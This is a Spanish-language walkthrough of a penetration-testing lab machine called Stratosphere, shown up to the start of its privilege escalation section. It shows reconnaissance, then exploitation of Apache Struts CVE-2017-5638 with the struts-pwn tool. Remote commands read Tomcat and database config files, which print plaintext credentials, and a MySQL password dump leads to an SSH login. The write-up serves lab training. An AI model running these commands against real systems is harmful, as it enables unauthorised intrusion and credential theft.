Stratosphere
Skills
- Apache Struts Exploitation (CVE-2017-5638)
- Python Library Hijacking (Privilege Escalation)
- Python Abusing Sudoers (Privilege Escalation)
Certificaciones
- eJPT
- eWPT
Descripción
Stratosphere
es una máquina medium linux
donde estaremos vulnerando la máquina a través de un rce
(remote code execution), el cual obtenemos al explotar
el CVE-2017-5638
de Struts
. Mediante el rce accedemos
a la base de datos
y obtenemos
las credenciales
de acceso al ssh
de la máquina víctima, una vez dentro nos convertimos en usuario root abusando
del sudoers
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas linux
suele ser 64
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.252.189
PING 10.129.252.189 (10.129.252.189) 56(84) bytes of data.
64 bytes from 10.129.252.189: icmp_seq=1 ttl=63 time=63.2 ms
64 bytes from 10.129.252.189: icmp_seq=2 ttl=63 time=60.5 ms
^C
--- 10.129.252.189 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 60.490/61.847/63.205/1.357 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.252.189 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-06 20:05 CEST
Initiating SYN Stealth Scan at 20:05
Scanning 10.129.252.189 [65535 ports]
Discovered open port 80/tcp on 10.129.252.189
Discovered open port 22/tcp on 10.129.252.189
Discovered open port 8080/tcp on 10.129.252.189
Completed SYN Stealth Scan at 20:06, 39.55s elapsed (65535 total ports)
Nmap scan report for 10.129.252.189
Host is up (0.064s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 39.64 seconds
Raw packets sent: 196629 (8.652MB) | Rcvd: 35 (1.620KB)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
# nmap -sCV -p 22,80,8080 10.129.252.189 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-06 20:08 CEST
Nmap scan report for 10.129.252.189
Host is up (0.088s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
| 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp open http
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Accept-Ranges: bytes
| ETag: W/"1708-1519762495651"
| Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
| Content-Type: text/html
| Content-Length: 1708
| Date: Sat, 06 Jul 2024 18:08:35 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <meta charset="utf-8"/>
| <title>Stratosphere</title>
| <link rel="stylesheet" type="text/css" href="main.css">
| </head>
| <body>
| <div id="background"></div>
| <header id="main-header" class="hidden">
| <div class="container">
| <div class="content-wrap">
| <p><i class="fa fa-diamond"></i></p>
| <nav>
| class="btn" href="GettingStarted.html">Get started</a>
| </nav>
| </div>
| </div>
| </header>
| <section id="greeting">
| <div class="container">
| <div class="content-wrap">
| <h1>Stratosphere<br>We protect your credit.</h1>
| class="btn" href="GettingStarted.html">Get started now</a>
| <p><i class="ar
| HTTPOptions:
| HTTP/1.1 200
| Allow: OPTIONS, GET, HEAD, POST
| Content-Length: 0
| Date: Sat, 06 Jul 2024 18:08:35 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1874
| Date: Sat, 06 Jul 2024 18:08:35 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or decept
|_http-title: Stratosphere
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Accept-Ranges: bytes
| ETag: W/"1708-1519762495651"
| Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
| Content-Type: text/html
| Content-Length: 1708
| Date: Sat, 06 Jul 2024 18:08:35 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <meta charset="utf-8"/>
| <title>Stratosphere</title>
| <link rel="stylesheet" type="text/css" href="main.css">
| </head>
| <body>
| <div id="background"></div>
| <header id="main-header" class="hidden">
| <div class="container">
| <div class="content-wrap">
| <p><i class="fa fa-diamond"></i></p>
| <nav>
| class="btn" href="GettingStarted.html">Get started</a>
| </nav>
| </div>
| </div>
| </header>
| <section id="greeting">
| <div class="container">
| <div class="content-wrap">
| <h1>Stratosphere<br>We protect your credit.</h1>
| class="btn" href="GettingStarted.html">Get started now</a>
| <p><i class="ar
| HTTPOptions:
| HTTP/1.1 200
| Allow: OPTIONS, GET, HEAD, POST
| Content-Length: 0
| Date: Sat, 06 Jul 2024 18:08:35 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1874
| Date: Sat, 06 Jul 2024 18:08:35 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or decept
|_http-title: Stratosphere
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=7/6%Time=66898823%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,786,"HTTP/1\.1\x20200\x20\r\nAccept-Ranges:\x20bytes\r\nETag:\
SF:x20W/\"1708-1519762495651\"\r\nLast-Modified:\x20Tue,\x2027\x20Feb\x202
SF:018\x2020:14:55\x20GMT\r\nContent-Type:\x20text/html\r\nContent-Length:
SF:\x201708\r\nDate:\x20Sat,\x2006\x20Jul\x202024\x2018:08:35\x20GMT\r\nCo
SF:nnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x20\
SF:x20\x20<meta\x20charset=\"utf-8\"/>\n\x20\x20\x20\x20<title>Stratospher
SF:e</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20type=\"text/c
SF:ss\"\x20href=\"main\.css\">\n</head>\n\n<body>\n<div\x20id=\"background
SF:\"></div>\n<header\x20id=\"main-header\"\x20class=\"hidden\">\n\x20\x20
SF:<div\x20class=\"container\">\n\x20\x20\x20\x20<div\x20class=\"content-w
SF:rap\">\n\x20\x20\x20\x20\x20\x20<p><i\x20class=\"fa\x20fa-diamond\"></i
SF:></p>\n\x20\x20\x20\x20\x20\x20<nav>\n\x20\x20\x20\x20\x20\x20\x20\x20<
SF:a\x20class=\"btn\"\x20href=\"GettingStarted\.html\">Get\x20started</a>\
SF:n\x20\x20\x20\x20\x20\x20</nav>\n\x20\x20\x20\x20</div>\n\x20\x20</div>
SF:\n</header>\n\n<section\x20id=\"greeting\">\n\x20\x20<div\x20class=\"co
SF:ntainer\">\n\x20\x20\x20\x20<div\x20class=\"content-wrap\">\n\x20\x20\x
SF:20\x20\x20\x20<h1>Stratosphere<br>We\x20protect\x20your\x20credit\.</h1
SF:>\n\x20\x20\x20\x20\x20\x20<a\x20class=\"btn\"\x20href=\"GettingStarted
SF:\.html\">Get\x20started\x20now</a>\n\x20\x20\x20\x20\x20\x20<p><i\x20cl
SF:ass=\"ar")%r(HTTPOptions,7D,"HTTP/1\.1\x20200\x20\r\nAllow:\x20OPTIONS,
SF:\x20GET,\x20HEAD,\x20POST\r\nContent-Length:\x200\r\nDate:\x20Sat,\x200
SF:6\x20Jul\x202024\x2018:08:35\x20GMT\r\nConnection:\x20close\r\n\r\n")%r
SF:(RTSPRequest,7EE,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;ch
SF:arset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x201874\r\nDa
SF:te:\x20Sat,\x2006\x20Jul\x202024\x2018:08:35\x20GMT\r\nConnection:\x20c
SF:lose\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x2
SF:0Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=
SF:\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h
SF:2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{fon
SF:t-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20
SF:p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;
SF:background-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20
SF:Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1><hr\x20class=\"line
SF:\"\x20/><p><b>Type</b>\x20Exception\x20Report</p><p><b>Message</b>\x20I
SF:nvalid\x20character\x20found\x20in\x20the\x20HTTP\x20protocol</p><p><b>
SF:Description</b>\x20The\x20server\x20cannot\x20or\x20will\x20not\x20proc
SF:ess\x20the\x20request\x20due\x20to\x20something\x20that\x20is\x20percei
SF:ved\x20to\x20be\x20a\x20client\x20error\x20\(e\.g\.,\x20malformed\x20re
SF:quest\x20syntax,\x20invalid\x20request\x20message\x20framing,\x20or\x20
SF:decept");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.94SVN%I=7%D=7/6%Time=66898823%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,786,"HTTP/1\.1\x20200\x20\r\nAccept-Ranges:\x20bytes\r\nETag
SF::\x20W/\"1708-1519762495651\"\r\nLast-Modified:\x20Tue,\x2027\x20Feb\x2
SF:02018\x2020:14:55\x20GMT\r\nContent-Type:\x20text/html\r\nContent-Lengt
SF:h:\x201708\r\nDate:\x20Sat,\x2006\x20Jul\x202024\x2018:08:35\x20GMT\r\n
SF:Connection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x2
SF:0\x20\x20<meta\x20charset=\"utf-8\"/>\n\x20\x20\x20\x20<title>Stratosph
SF:ere</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20type=\"text
SF:/css\"\x20href=\"main\.css\">\n</head>\n\n<body>\n<div\x20id=\"backgrou
SF:nd\"></div>\n<header\x20id=\"main-header\"\x20class=\"hidden\">\n\x20\x
SF:20<div\x20class=\"container\">\n\x20\x20\x20\x20<div\x20class=\"content
SF:-wrap\">\n\x20\x20\x20\x20\x20\x20<p><i\x20class=\"fa\x20fa-diamond\"><
SF:/i></p>\n\x20\x20\x20\x20\x20\x20<nav>\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0<a\x20class=\"btn\"\x20href=\"GettingStarted\.html\">Get\x20started</a
SF:>\n\x20\x20\x20\x20\x20\x20</nav>\n\x20\x20\x20\x20</div>\n\x20\x20</di
SF:v>\n</header>\n\n<section\x20id=\"greeting\">\n\x20\x20<div\x20class=\"
SF:container\">\n\x20\x20\x20\x20<div\x20class=\"content-wrap\">\n\x20\x20
SF:\x20\x20\x20\x20<h1>Stratosphere<br>We\x20protect\x20your\x20credit\.</
SF:h1>\n\x20\x20\x20\x20\x20\x20<a\x20class=\"btn\"\x20href=\"GettingStart
SF:ed\.html\">Get\x20started\x20now</a>\n\x20\x20\x20\x20\x20\x20<p><i\x20
SF:class=\"ar")%r(HTTPOptions,7D,"HTTP/1\.1\x20200\x20\r\nAllow:\x20OPTION
SF:S,\x20GET,\x20HEAD,\x20POST\r\nContent-Length:\x200\r\nDate:\x20Sat,\x2
SF:006\x20Jul\x202024\x2018:08:35\x20GMT\r\nConnection:\x20close\r\n\r\n")
SF:%r(RTSPRequest,7EE,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;
SF:charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x201874\r\n
SF:Date:\x20Sat,\x2006\x20Jul\x202024\x2018:08:35\x20GMT\r\nConnection:\x2
SF:0close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\
SF:x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20typ
SF:e=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x2
SF:0h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{f
SF:ont-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x
SF:20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1p
SF:x;background-color:#525D76;border:none;}</style></head><body><h1>HTTP\x
SF:20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1><hr\x20class=\"li
SF:ne\"\x20/><p><b>Type</b>\x20Exception\x20Report</p><p><b>Message</b>\x2
SF:0Invalid\x20character\x20found\x20in\x20the\x20HTTP\x20protocol</p><p><
SF:b>Description</b>\x20The\x20server\x20cannot\x20or\x20will\x20not\x20pr
SF:ocess\x20the\x20request\x20due\x20to\x20something\x20that\x20is\x20perc
SF:eived\x20to\x20be\x20a\x20client\x20error\x20\(e\.g\.,\x20malformed\x20
SF:request\x20syntax,\x20invalid\x20request\x20message\x20framing,\x20or\x
SF:20decept");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.62 seconds
Web Enumeration
El servicio web en el puerto 80
y en el puerto 8080
son exactamente
las mismas
páginas web
Fuzzeamos
en busca de rutas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
wfuzz -c -t200 --hc 404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.252.189/FUZZ
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.252.189/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000004875: 302 0 L 0 W 0 Ch "manager"
000013276: 302 0 L 0 W 0 Ch "Monitoring"
Cuando accedemos a http://10.129.252.189/Monitoring
vemos esta página
Si accedemos a http://10.129.252.189/manager
nos aparece lo siguiente
Al cancelar vemos lo siguiente, por lo tanto ya sabemos que hay un tomcat
corriendo
Identificamos la versión
del tomcat
, en este caso es la versión 8.5.54
1
2
# curl -s http://10.129.252.189:8080/docs/ | grep Tomcat
<!doctype html><html lang="en"><head><title>HTTP Status 404 – Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> /docs/</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/8.5.54 (Debian)</h3></body></html>
He fuzzeado
rutas y no he encontrado nada, por lo tanto he hecho la la siguiente búsqueda
en google .action exploit
, debido a que esa extensión
es bastante curiosa
. Esta es la primera
búsqueda
que nos sale
Al no
poder comprobar
la version
del struts
hay que ir probando exploit
hasta dar con el indicado, en esta caso hemos tenido suerte y hemos dado con el a la primera. Lo que debemos hacer es clonarnos
el repositorio
de github
1
# git clone https://github.com/mazen160/struts-pwn
Ejecutamos
el exploit
y obtenemos ejecución remota de comandos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# python struts-pwn.py --url 'http://10.129.252.189/Monitoring/example/Welcome.action' -c 'id'
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] URL: http://10.129.252.189/Monitoring/example/Welcome.action
[*] CMD: id
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
[%] Done.
He intentado establecerme una reverse shell
pero no ha sido posible, por lo tanto voy a listar
el contenido
de la máquina víctima
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# python struts-pwn.py --url 'http://10.129.252.189/Monitoring/example/Welcome.action' -c 'ls -a'
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] URL: http://10.129.252.189/Monitoring/example/Welcome.action
[*] CMD: ls -a
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely
.
..
conf
db_connect
lib
logs
policy
webapps
work
Listamos
el contenido de /conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# python struts-pwn.py --url 'http://10.129.252.189/Monitoring/example/Welcome.action' -c 'ls conf'
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] URL: http://10.129.252.189/Monitoring/example/Welcome.action
[*] CMD: ls conf
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
server.xml.dpkg-dist
tomcat-users.xml
web.xml
web.xml.dpkg-dist
[%] Done.
Visualizamos
el contenido de tomcat-users.xml
y obtenemos un usuario
y contraseña
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# python struts-pwn.py --url 'http://10.129.252.189/Monitoring/example/Welcome.action' -c 'cat conf/tomcat-users.xml'
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] URL: http://10.129.252.189/Monitoring/example/Welcome.action
[*] CMD: cat conf/tomcat-users.xml
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<user username="teampwner" password="cd@6sY{f^+kZV8J!+o*t|<fpNy]F_(Y$" roles="manager-gui,admin-gui" />
</tomcat-users>
[%] Done.
He probado varias combinaciones para el panel de /manger/html
, con el objetivo de autenticarme y subir un .war malicioso
con el que ganar acceso
a la máquina víctima
pero no
ha sido posible
. Por lo tanto vamos a visualizar el contenido de db_connect
, donde obtenemos varias credenciales
para la base de datos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# python struts-pwn.py --url 'http://10.129.252.189/Monitoring/example/Welcome.action' -c 'cat db_connect'
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] URL: http://10.129.252.189/Monitoring/example/Welcome.action
[*] CMD: cat db_connect
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely
[ssn]
user=ssn_admin
pass=AWs64@on*&
[users]
user=admin
pass=admin
[%] Done.
Ahora que tenemos las credenciales, vamos a conectarnos
a la base de datos
mediante el rce del que disponemos y a listar
las bases de datos
disponibles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# python struts-pwn.py --url 'http://10.129.252.189/Monitoring/example/Welcome.action' -c 'mysql -uadmin -padmin -e "show databases;"'
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] URL: http://10.129.252.189/Monitoring/example/Welcome.action
[*] CMD: mysql -uadmin -padmin -e "show databases;"
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely
Database
information_schema
users
[%] Done.
Listamos tablas
de la base de datos
de users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# python struts-pwn.py --url 'http://10.129.252.189/Monitoring/example/Welcome.action' -c 'mysql -uadmin -padmin -e "use users; show tables;"'
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] URL: http://10.129.252.189/Monitoring/example/Welcome.action
[*] CMD: mysql -uadmin -padmin -e "use users; show tables;"
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely
Tables_in_users
accounts
[%] Done.
Listamos columnas
de la tabla accounts
en la base de datos users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# python struts-pwn.py --url 'http://10.129.252.189/Monitoring/example/Welcome.action' -c 'mysql -uadmin -padmin -e "use users; describe accounts;"'
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] URL: http://10.129.252.189/Monitoring/example/Welcome.action
[*] CMD: mysql -uadmin -padmin -e "use users; describe accounts;"
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely
Field Type Null Key Default Extra
fullName varchar(45) YES NULL
password varchar(30) YES NULL
username varchar(20) YES NULL
[%] Done.
Obtenemos el contenido de las columnas username
y password
de la tabla accounts
y de la base de datos accounts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# python struts-pwn.py --url 'http://10.129.252.189/Monitoring/example/Welcome.action' -c 'mysql -uadmin -padmin -e "use users; select password,username from accounts;"'
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] URL: http://10.129.252.189/Monitoring/example/Welcome.action
[*] CMD: mysql -uadmin -padmin -e "use users; select password,username from accounts;"
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely
password username
9tc*rhKuG5TyXvUJOrE^5CK7k richard
[%] Done.
Intrusión
Accedemos por ssh
a la máquina víctima con las credenciales
conseguidas a través de mysql
1
2
3
4
5
6
7
8
9
10
11
12
13
# ssh richard@10.129.252.189
richard@10.129.252.189's password:
Linux stratosphere 4.19.0-25-amd64 #1 SMP Debian 4.19.289-2 (2023-08-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Dec 3 12:20:42 2023 from 10.10.10.2
richard@stratosphere:~$ whoami
richard
Privilege Escalation (First Method)
Vemos que nuestro usuario puede ejecutar python
con sudo
siempre y cuando ejecute un archivo que está en nuestro directorio /home
1
2
3
4
5
6
